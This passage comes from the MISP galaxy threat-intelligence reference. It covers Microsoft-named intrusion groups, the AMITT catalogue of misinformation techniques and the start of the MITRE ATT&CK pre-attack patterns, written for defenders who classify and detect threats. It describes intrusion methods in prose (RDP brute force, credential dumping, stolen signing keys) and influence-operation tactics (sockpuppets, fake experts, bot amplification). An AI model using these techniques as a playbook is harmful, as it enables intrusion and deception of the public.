In contrast, LEAD has established a far greater reputation for industrial espionage. In the past few years, LEAD’s victims have included: Multinational, multi-industry companies involved in the manufacture of textiles, chemicals, and electronics Pharmaceutical companies A company in the chemical industry University faculty specializing in aeronautical engineering and research A company involved in the design and manufacture of motor vehicles A cybersecurity company focusing on protecting industrial control systems During these intrusions, LEAD’s objective was to steal sensitive data, including research materials, process documents, and project plans. LEAD also steals code-signing certificates to sign its malware in subsequent attacks. In most cases, LEAD’s attacks do not feature any advanced exploit techniques. The group also does not make special effort to cultivate victims prior to an attack. Instead, the group often simply emails a Winnti installer to potential victims, relying on basic social engineering tactics to convince recipients to run the attached malware. In some other cases, LEAD gains access to a target by brute-forcing remote access login credentials, performing SQL injection, or exploiting unpatched web servers, and then they copy the Winnti installer directly to compromised machines.

The tag is: misp-galaxy:microsoft-activity-group="LEAD"

Table 2068. Table References
Links
https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/

ZIRCONIUM

In addition to strengthening generic detection of EoP exploits, Microsoft security researchers are actively gathering threat intelligence and indicators attributable to ZIRCONIUM, the activity group using the CVE-2017-0005 exploit.

The tag is: misp-galaxy:microsoft-activity-group="ZIRCONIUM"

Table 2069. Table References
Links
https://blogs.technet.microsoft.com/mmpc/2017/03/27/detecting-and-mitigating-elevation-of-privilege-exploit-for-cve-2017-0005/

https://www.cfr.org/interactive/cyber-operations/mythic-leopard

This threat actor uses social engineering and spear phishing to target military and defense organizations in India, for the purpose of espionage.

The tag is: misp-galaxy:microsoft-activity-group="https://www.cfr.org/interactive/cyber-operations/mythic-leopard"

https://www.cfr.org/interactive/cyber-operations/mythic-leopard is also known as:

C-Major
Transparent Tribe

https://www.cfr.org/interactive/cyber-operations/mythic-leopard has relationships with:

similar: misp-galaxy:threat-actor="Operation C-Major" with estimative-language:likelihood-probability="likely"

Table 2070. Table References
Links
https://www.cfr.org/interactive/cyber-operations/mythic-leopard

GALLIUM

Microsoft Threat Intelligence Center (MSTIC) is raising awareness of the ongoing activity by a group we call GALLIUM, targeting telecommunication providers. When Microsoft customers have been targeted by this activity, we notified them directly with the relevant information they need to protect themselves. By sharing the detailed methodology and indicators related to GALLIUM activity, we’re encouraging the security community to implement active defenses to secure the broader ecosystem from these attacks. To compromise targeted networks, GALLIUM target unpatched internet-facing services using publicly available exploits and have been known to target vulnerabilities in WildFly/JBoss. Once persistence is established in a network, GALLIUM uses common techniques and tools like Mimikatz to obtain credentials that allows for lateral movement across the target network. Within compromised networks, GALLIUM makes no attempt to obfuscate their intent and are known to use common versions of malware and publicly available toolkits with small modifications. The operators rely on low cost and easy to replace infrastructure that consists of dynamic-DNS domains and regularly reused hop points. This activity from GALLIUM has been identified predominantly through 2018 to mid-2019. GALLIUM is still active; however, activity levels have dropped when compared to what was previously observed.

The tag is: misp-galaxy:microsoft-activity-group="GALLIUM"

GALLIUM is also known as:

Operation Soft Cell

GALLIUM has relationships with:

similar: misp-galaxy:threat-actor="Operation Soft Cell" with estimative-language:likelihood-probability="likely"

Table 2071. Table References
Links
https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/

PARINACOTA

One actor that has emerged in this trend of human-operated attacks is an active, highly adaptive group that frequently drops Wadhrama as payload. PARINACOTA impacts three to four organizations every week and appears quite resourceful: during the 18 months that we have been monitoring it, we have observed the group change tactics to match its needs and use compromised machines for various purposes, including cryptocurrency mining, sending spam emails, or proxying for other attacks. The group’s goals and payloads have shifted over time, influenced by the type of compromised infrastructure, but in recent months, they have mostly deployed the Wadhrama ransomware. The group most often employs a smash-and-grab method, whereby they attempt to infiltrate a machine in a network and proceed with subsequent ransom in less than an hour. There are outlier campaigns in which they attempt reconnaissance and lateral movement, typically when they land on a machine and network that allows them to quickly and easily move throughout the environment. PARINACOTA’s attacks typically brute forces their way into servers that have Remote Desktop Protocol (RDP) exposed to the internet, with the goal of moving laterally inside a network or performing further brute-force activities against targets outside the network. This allows the group to expand compromised infrastructure under their control. Frequently, the group targets built-in local administrator accounts or a list of common account names. In other instances, the group targets Active Directory (AD) accounts that they compromised or have prior knowledge of, such as service accounts of known vendors. The group adopted the RDP brute force technique that the older ransomware called Samas (also known as SamSam) infamously used. Other malware families like GandCrab, MegaCortext, LockerGoga, Hermes, and RobbinHood have also used this method in targeted ransomware attacks. PARINACOTA, however, has also been observed to adapt to any path of least resistance they can utilize. For instance, they sometimes discover unpatched systems and use disclosed vulnerabilities to gain initial access or elevate privileges.

The tag is: misp-galaxy:microsoft-activity-group="PARINACOTA"

PARINACOTA has relationships with:

uses: misp-galaxy:ransomware="Wadhrama" with estimative-language:likelihood-probability="likely"

Table 2072. Table References
Links
https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/

Misinformation Pattern

AM!TT Technique.

Misinformation Pattern is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

authors: misinfosecproject

5Ds (dismiss, distort, distract, dismay, divide)

Nimmo’s "4Ds of propaganda": dismiss, distort, distract, dismay (MisinfosecWG added divide in 2019). Misinformation promotes an agenda by advancing narratives supportive of that agenda. This is most effective when the advanced narrative pre-dates the revelation of the specific misinformation content. But this is often not possible.

The tag is: misp-galaxy:amitt-misinformation-pattern="5Ds (dismiss, distort, distract, dismay, divide)"

Table 2073. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0001.md

Facilitate State Propaganda

Organize citizens around pro-state messaging. Paid or volunteer groups coordinated to push state propaganda (examples include 2016 Diba Facebook Expedition, coordinated to overcome China’s Great Firewall to flood the Facebook pages of Taiwanese politicians and news agencies with a pro-PRC message).

The tag is: misp-galaxy:amitt-misinformation-pattern="Facilitate State Propaganda"

Table 2074. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0002.md

Leverage Existing Narratives

Use or adapt existing narrative themes, where narratives are the baseline stories of a target audience. Narratives form the bedrock of our worldviews. New information is understood through a process firmly grounded in this bedrock. If new information is not consitent with the prevailing narratives of an audience, it will be ignored. Effective campaigns will frame their misinformation in the context of these narratives. Highly effective campaigns will make extensive use of audience-appropriate archetypes and meta-narratives throughout their content creation and amplifiction practices. Examples include midwesterners are generous, Russia is under attack from outside.

The tag is: misp-galaxy:amitt-misinformation-pattern="Leverage Existing Narratives"

Table 2075. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0003.md

Competing Narratives

Advance competing narratives connected to same issue ie: on one hand deny incident while at same time expresses dismiss. MH17 (example) "Russian Foreign Ministry again claimed that “absolutely groundless accusations are put forward against the Russian side, which are aimed at discrediting Russia in the eyes of the international community" (deny); "The Dutch MH17 investigation is biased, anti-Russian and factually inaccurate" (dismiss).

Suppressing or discouraging narratives already spreading requires an alternative. The most simple set of narrative techniques in response would be the construction and promotion of contradictory alternatives centered on denial, deflection, dismissal, counter-charges, excessive standards of proof, bias in prohibition or enforcement, and so on.

These competing narratives allow loyalists cover, but are less compelling to opponents and fence-sitters than campaigns built around existing narratives or highly explanatory master narratives. Competing narratives, as such, are especially useful in the "firehose of misinformation" approach.

The tag is: misp-galaxy:amitt-misinformation-pattern="Competing Narratives"

Table 2076. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0004.md

Center of Gravity Analysis

Recon/research to identify "the source of power that provides moral or physical strength, freedom of action, or will to act." Thus, the center of gravity is usually seen as the "source of strength". Includes demographic and network analysis of communities

The tag is: misp-galaxy:amitt-misinformation-pattern="Center of Gravity Analysis"

Table 2077. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0005.md

Create Master Narratives

The promotion of beneficial master narratives is perhaps the most effective method for achieving long-term strategic narrative dominance. From a "whole of society" perpective the promotion of the society’s core master narratives should occupy a central strategic role. From a misinformation campaign / cognitive security perpectve the tactics around master narratives center more precisely on the day-to-day promotion and reinforcement of this messaging. In other words, beneficial, high-coverage master narratives are a central strategic goal and their promotion consitutes an ongoing tactical struggle carried out at a whole-of-society level.

By way of example, major powers are promoting master narratives such as: * "Huawei is detetmined to build trustworthy networks" * "Russia is the victim of bullying by NATO powers" * "USA is guided by its founding principles of liberty and egalitarianism"

Tactically, their promotion covers a broad spectrum of activities both on- and offline.

The tag is: misp-galaxy:amitt-misinformation-pattern="Create Master Narratives"

Table 2078. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0006.md

Create fake Social Media Profiles / Pages / Groups

Create key social engineering assets needed to amplify content, manipulate algorithms, fool public and/or specific incident/campaign targets.

Computational propaganda depends substantially on false perceptions of credibility and acceptance. By creating fake users and groups with a variety of interests and commitments, attackers can ensure that their messages both come from trusted sources and appear more widely adopted than they actually are.

Examples: Ukraine elections (2019) circumvent Facebook’s new safeguards by paying Ukrainian citizens to give a Russian agent access to their personal pages. EU Elections (2019) Avaaz reported more than 500 suspicious pages and groups to Facebook related to the three-month investigation of Facebook disinformation networks in Europe. Mueller report (2016) The IRA was able to reach up to 126 million Americans on Facebook via a mixture of fraudulent accounts, groups, and advertisements, the report says. Twitter accounts it created were portrayed as real American voices by major news outlets. It was even able to hold real-life rallies, mobilizing hundreds of people at a time in major cities like Philadelphia and Miami.

The tag is: misp-galaxy:amitt-misinformation-pattern="Create fake Social Media Profiles / Pages / Groups"

Table 2079. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0007.md

Create fake or imposter news sites

Modern computational propaganda makes use of a cadre of imposter news sites spreading globally. These sites, sometimes motivated by concerns other than propaganda—for instance, click-based revenue—often have some superficial markers of authenticity, such as naming and site-design. But many can be quickly exposed with reference to their owenership, reporting history and adverstising details. A prominent case from the 2016 era was the Denver Guardian, which purported to be a local newspaper in Colorado and specialized in negative stories about Hillary Clinton.

The tag is: misp-galaxy:amitt-misinformation-pattern="Create fake or imposter news sites"

Table 2080. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0008.md

Create fake experts

Stories planted or promoted in computational propaganda operations often make use of experts fabricated from whole cloth, sometimes specifically for the story itself. For example, in the Jade Helm conspiracy theory promoted by SVR in 2015, a pair of experts—one of them naming himself a “Military Intelligence Analyst / Russian Regional CME” and the other a “Geopolitical Strategist, Journalist & Author”--pushed the story heavily on LinkedIn.

The tag is: misp-galaxy:amitt-misinformation-pattern="Create fake experts"

Table 2081. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0009.md

Cultivate useful idiots

Cultivate propagandists for a cause, the goals of which are not fully comprehended, and who are used cynically by the leaders of the cause. Independent actors use social media and specialised web sites to strategically reinforce and spread messages compatible with their own. Their networks are infiltrated and used by state media disinformation organisations to amplify the state’s own disinformation strategies against target populations. Many are traffickers in conspiracy theories or hoaxes, unified by a suspicion of Western governments and mainstream media. Their narratives, which appeal to leftists hostile to globalism and military intervention and nationalists against immigration, are frequently infiltrated and shaped by state-controlled trolls and altered news items from agencies such as RT and Sputnik. Also know as "useful idiots" or "unwitting agents".

The tag is: misp-galaxy:amitt-misinformation-pattern="Cultivate useful idiots"

Table 2082. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0010.md

Hijack legitimate account

Hack or take over legimate accounts to distribute misinformation or damaging content. Examples include Syrian Electronic Army (2013) series of false tweets from a hijacked Associated Press Twitter account claiming that President Barack Obama had been injured in a series of explosions near the White House. The false report caused a temporary plunge of 143 points on the Dow Jones Industrial Average.

The tag is: misp-galaxy:amitt-misinformation-pattern="Hijack legitimate account"

Table 2083. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0011.md

Use concealment

Use anonymous social media profiles. Examples include page or group administrators, masked "whois" website directory data, no bylines connected to news article, no masthead connect to news websites.

Example is 2016 @TEN_GOP profile where the actual Tennessee Republican Party tried unsuccessfully for months to get Twitter to shut it down, and 2019 Endless Mayfly is an Iran-aligned network of inauthentic personas and social media accounts that spreads falsehoods and amplifies narratives critical of Saudi Arabia, the United States, and Israel.

The tag is: misp-galaxy:amitt-misinformation-pattern="Use concealment"

Table 2084. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0012.md

Create fake websites

The tag is: misp-galaxy:amitt-misinformation-pattern="Create fake websites"

Table 2085. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0013.md

Create funding campaigns

Generate revenue through online funding campaigns. e.g. Gather data, advance credible persona via Gofundme; Patreon; or via fake website connecting via PayPal or Stripe. (Example 2016) #VaccinateUS Gofundme campaigns to pay for Targetted facebook ads (Larry Cook, targetting Washington State mothers, $1,776 to boost posts over 9 months).

The tag is: misp-galaxy:amitt-misinformation-pattern="Create funding campaigns"

Table 2086. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0014.md

Create hashtag

Many incident-based campaigns will create a hashtag to promote their fabricated event (e.g. #ColumbianChemicals to promote a fake story about a chemical spill in Louisiana).

Creating a hashtag for an incident can have two important effects: 1. Create a perception of reality around an event. Certainly only "real" events would be discussed in a hashtag. After all, the event has a name! 2. Publicize the story more widely through trending lists and search behavior

Asset needed to direct/control/manage "conversation" connected to launching new incident/campaign with new hashtag for applicable social media sites ie: Twitter, LinkedIn)

The tag is: misp-galaxy:amitt-misinformation-pattern="Create hashtag"

Table 2087. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0015.md

Clickbait

Create attention grabbing headlines (outrage, doubt, humor) required to drive traffic & engagement. (example 2016) “Pope Francis shocks world, endorses Donald Trump for president.” (example 2016) "FBI director received millions from Clinton Foundation, his brother’s law firm does Clinton’s taxes”. This is a key asset

The tag is: misp-galaxy:amitt-misinformation-pattern="Clickbait"

Table 2088. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0016.md

Promote online funding

Drive traffic/engagement to funding campaign sites; helps provide measurable metrics to assess conversion rates

The tag is: misp-galaxy:amitt-misinformation-pattern="Promote online funding"

Table 2089. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0017.md

Paid targeted ads

Create or fund advertisements targeted at specific populations

The tag is: misp-galaxy:amitt-misinformation-pattern="Paid targeted ads"

Table 2090. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0018.md

Generate information pollution

Flood social channels; drive traffic/engagement to all assets; create aura/sense/perception of pervasiveness/consensus (for or against or both simultaneously) of an issue or topic. "Nothing is true, but everything is possible." Akin to astroturfing campaign.

The tag is: misp-galaxy:amitt-misinformation-pattern="Generate information pollution"

Table 2091. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0019.md

Trial content

Iteratively test incident performance (messages, content etc), e.g. A/B test headline/content enagagement metrics; website and/or funding campaign conversion rates

The tag is: misp-galaxy:amitt-misinformation-pattern="Trial content"

Table 2092. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0020.md

Memes

Memes are one of the most important single artefact types in all of computational propaganda. Memes in this framework denotes the narrow image-based definition. But that naming is no accident, as these items have most of the important properties of Dawkins' original conception as a self-replicating unit of culture. Memes pull together reference and commentary; image and narrative; emotion and message. Memes are a powerful tool and the heart of modern influence campaigns.

The tag is: misp-galaxy:amitt-misinformation-pattern="Memes"

Table 2093. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0021.md

Conspiracy narratives

"Conspiracy narratives appeal to the human desire for explanatory order, by invoking the participation of poweful (often sinister) actors in pursuit of their own political goals. These narratives are especially appealing when an audience is low-information, marginalized or otherwise inclined to reject the prevailing explanation. Conspiracy narratives are an important component of the ""firehose of falsehoods"" model.

Example: QAnon: conspiracy theory is an explanation of an event or situation that invokes a conspiracy by sinister and powerful actors, often political in motivation, when other explanations are more probable "

The tag is: misp-galaxy:amitt-misinformation-pattern="Conspiracy narratives"

Table 2094. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0022.md

Distort facts

Change, twist, or exaggerate existing facts to construct a narrative that differs from reality. Examples: images and ideas can be distorted by being placed in an improper content

The tag is: misp-galaxy:amitt-misinformation-pattern="Distort facts"

Table 2095. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0023.md

Create fake videos and images

Create fake videos and/or images by manipulating existing content or generating new content (e.g. deepfakes). Examples include Pelosi video (making her appear drunk) and photoshoped shark on flooded streets of Houston TX.

The tag is: misp-galaxy:amitt-misinformation-pattern="Create fake videos and images"

Table 2096. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0024.md

Leak altered documents

Obtain documents (eg by theft or leak), then alter and release, possibly among factual documents/sources.

Example (2019) DFRLab report "Secondary Infektion” highlights incident with key asset being a forged “letter” created by the operation to provide ammunition for far-right forces in Europe ahead of the election.

The tag is: misp-galaxy:amitt-misinformation-pattern="Leak altered documents"

Table 2097. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0025.md

Create fake research

Create fake academic research. Example: fake social science research is often aimed at hot-button social issues such as gender, race and sexuality. Fake science research can target Climate Science debate or pseudoscience like anti-vaxx

The tag is: misp-galaxy:amitt-misinformation-pattern="Create fake research"

Table 2098. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0026.md

Adapt existing narratives

Adapting existing narratives to current operational goals is the tactical sweet-spot for an effective misinformation campaign. Leveraging existing narratives is not only more effective, it requires substantially less resourcing, as the promotion of new master narratives operates on a much larger scale, both time and scope. Fluid, dynamic & often interchangable key master narratives can be ("The morally corrupt West") adapted to divisive (LGBT proganda) or to distort (individuals working as CIA operatives). For Western audiences, different but equally powerful framings are available, such as "USA has a fraught history in race relations, espically in crimincal justice areas."

The tag is: misp-galaxy:amitt-misinformation-pattern="Adapt existing narratives"

Table 2099. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0027.md

Create competing narratives

"Misinformation promotes an agenda by advancing narratives supportive of that agenda. This is most effective when the advanced narrative pre-dates the revelation of the specific misinformation content. But this is often not possible.

The tag is: misp-galaxy:amitt-misinformation-pattern="Create competing narratives"

Table 2100. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0028.md

Manipulate online polls

Create fake online polls, or manipulate existing online polls. Examples: flooding FCC with comments; creating fake engagement metrics of Twitter/Facebook polls to manipulate perception of given issue. Data gathering tactic to target those who engage, and potentially their networks of friends/followers as well

The tag is: misp-galaxy:amitt-misinformation-pattern="Manipulate online polls"

Table 2101. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0029.md

Backstop personas

Create other assets/dossier/cover/fake relationships and/or connections or documents, sites, bylines, attributions, to establish/augment/inflate crediblity/believability

The tag is: misp-galaxy:amitt-misinformation-pattern="Backstop personas"

Table 2102. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0030.md

YouTube

Use YouTube as a narrative dissemination channel

The tag is: misp-galaxy:amitt-misinformation-pattern="YouTube"

Table 2103. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0031.md

Use Reddit as a narrative dissemination channel

The tag is: misp-galaxy:amitt-misinformation-pattern="Reddit"

Table 2104. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0032.md

Instagram

Use Instagram as a narrative dissemination channel

The tag is: misp-galaxy:amitt-misinformation-pattern="Instagram"

Table 2105. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0033.md

Use LinkedIn as a narrative dissemination channel

The tag is: misp-galaxy:amitt-misinformation-pattern="LinkedIn"

Table 2106. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0034.md

Use Pinterest as a narrative dissemination channel

The tag is: misp-galaxy:amitt-misinformation-pattern="Pinterest"

Table 2107. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0035.md

Use WhatsApp as a narrative dissemination channel

The tag is: misp-galaxy:amitt-misinformation-pattern="WhatsApp"

Table 2108. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0036.md

Facebook

Use Facebook as a narrative dissemination channel

The tag is: misp-galaxy:amitt-misinformation-pattern="Facebook"

Table 2109. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0037.md

Twitter

Use Twitter as a narrative dissemination channel

The tag is: misp-galaxy:amitt-misinformation-pattern="Twitter"

Table 2110. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0038.md

Bait legitimate influencers

The tag is: misp-galaxy:amitt-misinformation-pattern="Bait legitimate influencers"

Table 2111. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0039.md

Demand unsurmountable proof

The tag is: misp-galaxy:amitt-misinformation-pattern="Demand unsurmountable proof"

Table 2112. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0040.md

Deny involvement

The tag is: misp-galaxy:amitt-misinformation-pattern="Deny involvement"

Table 2113. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0041.md

Kernel of Truth

The tag is: misp-galaxy:amitt-misinformation-pattern="Kernel of Truth"

Table 2114. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0042.md

Use SMS/ WhatsApp/ Chat apps

The tag is: misp-galaxy:amitt-misinformation-pattern="Use SMS/ WhatsApp/ Chat apps"

Table 2115. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0043.md

Seed distortions

The tag is: misp-galaxy:amitt-misinformation-pattern="Seed distortions"

Table 2116. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0044.md

Use fake experts

Use the fake experts that were set up in T0009. Pseudo-experts are disposable assets that often appear once and then disappear. Give "credility" to misinformation. Take advantage of credential bias

The tag is: misp-galaxy:amitt-misinformation-pattern="Use fake experts"

Table 2117. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0045.md

Search Engine Optimization

Manipulate content engagement metrics (ie: Reddit & Twitter) to influence/impact news search results (e.g. Google), also elevates RT & Sputnik headline into Google news alert emails. aka "Black-hat SEO"

The tag is: misp-galaxy:amitt-misinformation-pattern="Search Engine Optimization"

Table 2118. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0046.md

Muzzle social media as a political force

Use political influence or the power of state to stop critical social media comments. Government requested/driven content take downs (see Google Transperancy reports. (Example 20190 Singapore Protection from Online Falsehoods and Manipulation Bill would make it illegal to spread "false statements of fact" in Singapore, where that information is "prejudicial" to Singapore’s security or "public tranquility." Or India/New Delhi has cut off services to Facebook and Twitter in Kashmir 28 times in the past five years, and in 2016, access was blocked for five months — on the grounds that these platforms were being used for anti-social and "anti-national" purposes.

The tag is: misp-galaxy:amitt-misinformation-pattern="Muzzle social media as a political force"

Table 2119. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0047.md

Cow online opinion leaders

Intimidate, coerce, threaten critics/dissidents/journalists via trolling, doxing. Phillipines (example) Maria Ressa and Rappler journalists targeted Duterte regime, lawsuits, trollings, banned from the presidential palace where press briefings take place. 2017 Bot attack on five ProPublica Journalists.

The tag is: misp-galaxy:amitt-misinformation-pattern="Cow online opinion leaders"

Table 2120. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0048.md

Flooding

Flooding and/or mobbing social media channels feeds and/or hashtag with excessive volume of content to control/shape online conversations and/or drown out opposing points of view. Bots and/or patriotic trolls are effective tools to acheive this effect.

Example (2018): bots flood social media promoting messages which support Saudi Arabia with intent to cast doubt on allegations that the kingdom was involved in Khashoggi’s death.

The tag is: misp-galaxy:amitt-misinformation-pattern="Flooding"

Table 2121. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0049.md

Cheerleading domestic social media ops

Deploy state-coordinated social media commenters and astroturfers. Both internal/domestic and external social media influence operations, popularized by China (50cent Army manage message inside the "Great Firewall") but also technique used by Chinese English-language social media influence operations are seeded by state-run media, which overwhelmingly present a positive, benign, and cooperative image of China.

The tag is: misp-galaxy:amitt-misinformation-pattern="Cheerleading domestic social media ops"

Table 2122. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0050.md

Fabricate social media comment

Use government-paid social media commenters, astroturfers, chat bots (programmed to reply to specific key words/hashtags) influence online conversations, product reviews, web-site comment forums. (2017 example) the FCC was inundated with nearly 22 million public comments on net neutrality (many from fake accounts)

The tag is: misp-galaxy:amitt-misinformation-pattern="Fabricate social media comment"

Table 2123. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0051.md

Tertiary sites amplify news

Create content/news/opinion web-sites to cross-post stories. Tertiary sites circulate and amplify narratives. Often these sites have no masthead, bylines or attribution.

Examples of tertiary sites inculde Russia Insider, The Duran, geopolitica.ru, Mint Press News, Oriental Review, globalresearch.ca.

Example (2019, Domestic news): Snopes reveals Star News Digital Media, Inc. may look like a media company that produces local news, but operates via undisclosed connections to political activism.

Example (2018) FireEye reports on Iranian campaign that created between April 2018 and March 2019 sites used to spread inauthentic content from websites such as Liberty Front Press (LFP), US Journal, and Real Progressive Front during the US mid-terms.

The tag is: misp-galaxy:amitt-misinformation-pattern="Tertiary sites amplify news"

Table 2124. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0052.md

Twitter trolls amplify and manipulate

Use trolls to amplify narratives and/or manipulate narratives. Fake profiles/sockpuppets operating to support individuals/narratives from the entire political spectrum (left/right binary). Operating with increased emphasis on promoting local content and promoting real Twitter users generating their own, often divisive political content, as it’s easier to amplify existing content than create new/original content. Trolls operate where ever there’s a socially divisive issue (issues that can/are be politicized) e.g. BlackLivesMatter or MeToo

The tag is: misp-galaxy:amitt-misinformation-pattern="Twitter trolls amplify and manipulate"

Table 2125. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0053.md

Twitter bots amplify

Use bots to amplify narratives above algorithm thresholds. Bots are automated/programmed profiles designed to amplify content (ie: automatically retweet or like) and give appearance it’s more "popular" than it is. They can operate as a network, to function in a coordinated/orchestrated manner. In some cases (more so now) they are an inexpensive/disposable assets used for minimal deployment as bot detection tools improve and platforms are more responsive.(example 2019) #TrudeauMustGo

The tag is: misp-galaxy:amitt-misinformation-pattern="Twitter bots amplify"

Table 2126. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0054.md

Use hashtag

Use the dedicated hashtag for the incident (e.g. #PhosphorusDisaster)

The tag is: misp-galaxy:amitt-misinformation-pattern="Use hashtag"

Table 2127. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0055.md

Dedicated channels disseminate information pollution

Output information pollution (e.g. articles on an unreported false story/event) through channels controlled by or related to the incident creator. Examples include RT/Sputnik or antivax websites seeding stories.

The tag is: misp-galaxy:amitt-misinformation-pattern="Dedicated channels disseminate information pollution"

Table 2128. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0056.md

Organise remote rallies and events

Coordinate and promote real-world events across media platforms, e.g. rallies, protests, gatherings in support of incident narratives. Example: Facebook groups/pages coordinate/more divisive/polarizing groups and actvities into the public space. (Example) Mueller’s report, highlights, the IRA organized political rallies in the U.S. using social media starting in 2015 and continued to coordinate rallies after the 2016 election

The tag is: misp-galaxy:amitt-misinformation-pattern="Organise remote rallies and events"

Table 2129. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0057.md

Legacy web content

Make incident content visible for a long time, e.g. by exploiting platform terms of service, or placing it where it’s hard to remove or unlikely to be removed.

The tag is: misp-galaxy:amitt-misinformation-pattern="Legacy web content"

Table 2130. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0058.md

Play the long game

The tag is: misp-galaxy:amitt-misinformation-pattern="Play the long game"

Table 2131. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0059.md

Continue to amplify

The tag is: misp-galaxy:amitt-misinformation-pattern="Continue to amplify"

Table 2132. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0060.md

Sell merchandising

Sell hats, t-shirts, flags and other branded content that’s designed to be seen in the real world

The tag is: misp-galaxy:amitt-misinformation-pattern="Sell merchandising"

Table 2133. Table References
Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0061.md

Attack Pattern

ATT&CK tactic.

Attack Pattern is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

authors: MITRE

Test ability to evade automated mobile application security analysis performed by app stores - T1393

Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). An adversary can submit multiple code samples to these stores deliberately designed to probe the stores' security analysis capabilities, with the goal of determining effective techniques to place malicious applications in the stores that could then be delivered to targeted devices. (Citation: Android Bouncer) (Citation: Adventures in BouncerLand) (Citation: Jekyll on iOS) (Citation: Fruit vs Zombies)

The tag is: misp-galaxy:mitre-attack-pattern="Test ability to evade automated mobile application security analysis performed by app stores - T1393"

Table 2134. Table References
Links
https://attack.mitre.org/techniques/T1393

Choose pre-compromised mobile app developer account credentials or signing keys - T1391

The adversary can use account credentials or signing keys of an existing mobile app developer to publish malicious updates of existing mobile apps to an application store, or to abuse the developer’s identity and reputation to publish new malicious apps. Many mobile devices are configured to automatically install new versions of already-installed apps. (Citation: Fraudenlent Apps Stolen Dev Credentials)

The tag is: misp-galaxy:mitre-attack-pattern="Choose pre-compromised mobile app developer account credentials or signing keys - T1391"

Table 2135. Table References
Links
https://attack.mitre.org/techniques/T1391

Enumerate externally facing software applications technologies, languages, and dependencies - T1261

